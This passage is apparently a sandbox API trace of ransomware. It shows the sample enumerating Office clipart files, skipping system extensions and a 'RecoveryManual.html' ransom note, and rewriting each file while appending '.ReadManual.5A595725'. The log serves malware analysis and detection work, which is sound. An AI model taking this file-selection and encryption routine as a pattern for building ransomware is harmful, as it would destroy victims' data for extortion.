lpString2="RecoveryManual.html") returned -1 [0273.343] StrStrIW (lpFirst="PH02028K.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.343] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.343] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.343] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.343] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.343] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.343] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.343] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.343] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.343] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.343] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.343] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.343] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.343] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.343] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.343] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" [0273.343] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.ReadManual.5A595725" [0273.343] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.ReadManual.5A595725") returned 87 [0273.343] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39401197477) returned 1 [0273.343] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg")) returned 0x20 [0273.343] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.344] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17694) returned 1 [0273.344] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x451e, lpName=0x0) returned 0x184 [0273.344] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.345] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.345] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.346] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.347] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x451e) returned 0x2f0000 [0273.347] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.347] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39401573494) returned 1 [0273.347] CloseHandle (hObject=0x184) returned 1 [0273.347] SetSecurityInfo () returned 0x57 [0273.347] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.347] CloseHandle (hObject=0x194) returned 1 [0273.347] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0273.347] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02039U.BMP" | out: lpString1="PH02039U.BMP") returned="PH02039U.BMP" [0273.347] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.347] StrStrIW (lpFirst="PH02039U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.347] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.347] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.347] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.347] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.348] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.348] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.348] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" [0273.348] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.ReadManual.5A595725" [0273.348] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.ReadManual.5A595725") returned 87 [0273.348] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39401664004) returned 1 [0273.348] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp")) returned 0x20 [0273.348] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.349] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.349] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.349] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.350] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.350] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.351] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.352] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.352] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.352] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39402094229) returned 1 [0273.352] CloseHandle (hObject=0x184) returned 1 [0273.352] SetSecurityInfo () returned 0x57 [0273.352] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.352] CloseHandle (hObject=0x194) returned 1 [0273.352] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0273.353] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02040U.BMP" | out: lpString1="PH02040U.BMP") returned="PH02040U.BMP" [0273.353] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.353] StrStrIW (lpFirst="PH02040U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.353] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.353] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.353] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.353] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" [0273.353] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.ReadManual.5A595725" [0273.353] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.ReadManual.5A595725") returned 87 [0273.353] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39402189382) returned 1 [0273.353] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp")) returned 0x20 [0273.353] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.354] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0273.354] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0273.354] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.354] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.355] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.356] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.356] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0273.357] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.357] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39402560646) returned 1 [0273.357] CloseHandle (hObject=0x184) returned 1 [0273.357] SetSecurityInfo () returned 0x57 [0273.357] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.357] CloseHandle (hObject=0x194) returned 1 [0273.357] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0273.357] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02053J.JPG" | out: lpString1="PH02053J.JPG") returned="PH02053J.JPG" [0273.357] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.357] StrStrIW (lpFirst="PH02053J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.357] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.357] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.357] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.357] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.357] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.357] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.357] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.357] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.357] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.358] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.358] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.358] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.358] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.358] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.358] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" [0273.358] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.ReadManual.5A595725" [0273.358] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.ReadManual.5A595725") returned 87 [0273.358] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39402651395) returned 1 [0273.358] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg")) returned 0x20 [0273.359] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.359] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27388) returned 1 [0273.359] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6afc, lpName=0x0) returned 0x184 [0273.359] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.360] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.360] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.362] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.362] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6afc) returned 0x2f0000 [0273.362] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.362] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39403100068) returned 1 [0273.362] CloseHandle (hObject=0x184) returned 1 [0273.362] SetSecurityInfo () returned 0x57 [0273.362] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.362] CloseHandle (hObject=0x194) returned 1 [0273.363] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0273.363] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02058U.BMP" | out: lpString1="PH02058U.BMP") returned="PH02058U.BMP" [0273.363] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.363] StrStrIW (lpFirst="PH02058U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.363] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.363] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.363] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.363] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" [0273.363] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.ReadManual.5A595725" [0273.363] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.ReadManual.5A595725") returned 87 [0273.363] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39403191156) returned 1 [0273.363] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp")) returned 0x20 [0273.363] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.364] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.364] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.364] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.365] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.365] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.366] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.367] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.367] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.367] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39403587700) returned 1 [0273.367] CloseHandle (hObject=0x184) returned 1 [0273.367] SetSecurityInfo () returned 0x57 [0273.367] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.367] CloseHandle (hObject=0x194) returned 1 [0273.367] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0273.367] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02062U.BMP" | out: lpString1="PH02062U.BMP") returned="PH02062U.BMP" [0273.367] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.368] StrStrIW (lpFirst="PH02062U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.368] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.368] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.368] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.368] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" [0273.368] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP", lpString2=".ReadManual.5A595725" | out: 